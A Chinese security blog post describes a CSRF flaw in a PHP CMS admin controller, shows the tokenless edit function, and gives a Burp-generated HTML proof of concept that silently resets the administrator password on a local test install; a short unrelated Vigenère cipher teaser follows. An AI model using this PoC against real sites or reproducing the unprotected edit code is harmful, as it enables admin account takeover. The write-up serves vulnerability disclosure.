漏洞代码位于application/admin/controller/Admin.php 第62行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
/**
* 修改用户信息
*/
public function edit($id)
{
if (request()->isPost()) {
$params = input(‘post.’);
//验证规则
$result = $this->validate($params, ‘appadminvalidateAdmin.edit’);
if ($result !== true) {
return [‘status’ => 0, ‘msg’ => $result, ‘url’ => ”];
}
$admin = adminModel::get($params[‘id’]);
$admin->username = $params[‘username’];
$admin->email = $params[’email’];
$admin->role_id = $params[‘role_id’];
$admin->islock = $params[‘islock’];
if (!empty($params[‘password’])) {
$admin->encrypt = get_randomstr();//6位hash值
$admin->password = get_password($params[‘password’], $admin->encrypt);
}
if (false !== $admin->save()) {
return [‘status’ => 1, ‘msg’ => ‘修改成功’, ‘url’ => url(‘admin/index’)];
} else {
return [‘status’ => 0, ‘msg’ => ‘修改失败,请稍后重试’, ‘url’ => ”];
}
} else {
$this->assign([
‘role’ => AdminRole::all(),
‘data’ => adminModel::get($id)
]);
return $this->fetch();
}
}
|
由于没有加入token,因此存在csrf漏洞。
这里就以修改管理员密码为例,来说明漏洞详情
这里只需要输入新密码即可,不需要输入旧密码来进行判断,因此这里存在严重的csrf漏洞,通过一个页面来让管理员点击,就能达到修改管理员的目的
这里首先记录下密码的md5值,由于加入了salt,所以记录下,方便后面的对比
抓包看参数,有无token限制
这里可以看到没有加入token参数,并且不需要我们输入旧密码,因此直接csrf即可~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<html>
<!— CSRF PoC – generated by Burp Suite Professional —>
<body>
<script>history.pushState(”, ”, ‘/’)</script>
<form action=“http://127.0.0.1/public/index.php/admin/admin/edit.html” method=“POST”>
<input type=“hidden” name=“username” value=“admin” />
<input type=“hidden” name=“email” value=“” />
<input type=“hidden” name=“password” value=“yinhongji” />
<input type=“hidden” name=“repassword” value=“yinhongji” />
<input type=“hidden” name=“role_id” value=“” />
<input type=“hidden” name=“islock” value=“0” />
<input type=“hidden” name=“id” value=“1” />
</form>
<script>docuemnt.form[0].submit();</script>>
</body>
</html>
|
然后我们模拟管理员来点击这个链接
当然也可以用document.form[0].submit();这样来自动发送请求
可以看到后台密码已经被我们修改了。
同时后台的管理员添加也存在csrf漏洞,我们同样可以利用csrf请求来新添加一个管理员!
维吉尼亚作为古典密码,本身的加解密并不是很难,因此也就有了这篇文章~ 下面初步解释下维吉尼亚密码的加密原理,假设现在有明文‘a’,加密密钥为‘b’,然后我们参照上面的维吉尼亚密码表进行加密,在a行的b列即为我们加密过后的密文,在这里我们的密文即为‘b’。同理,…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册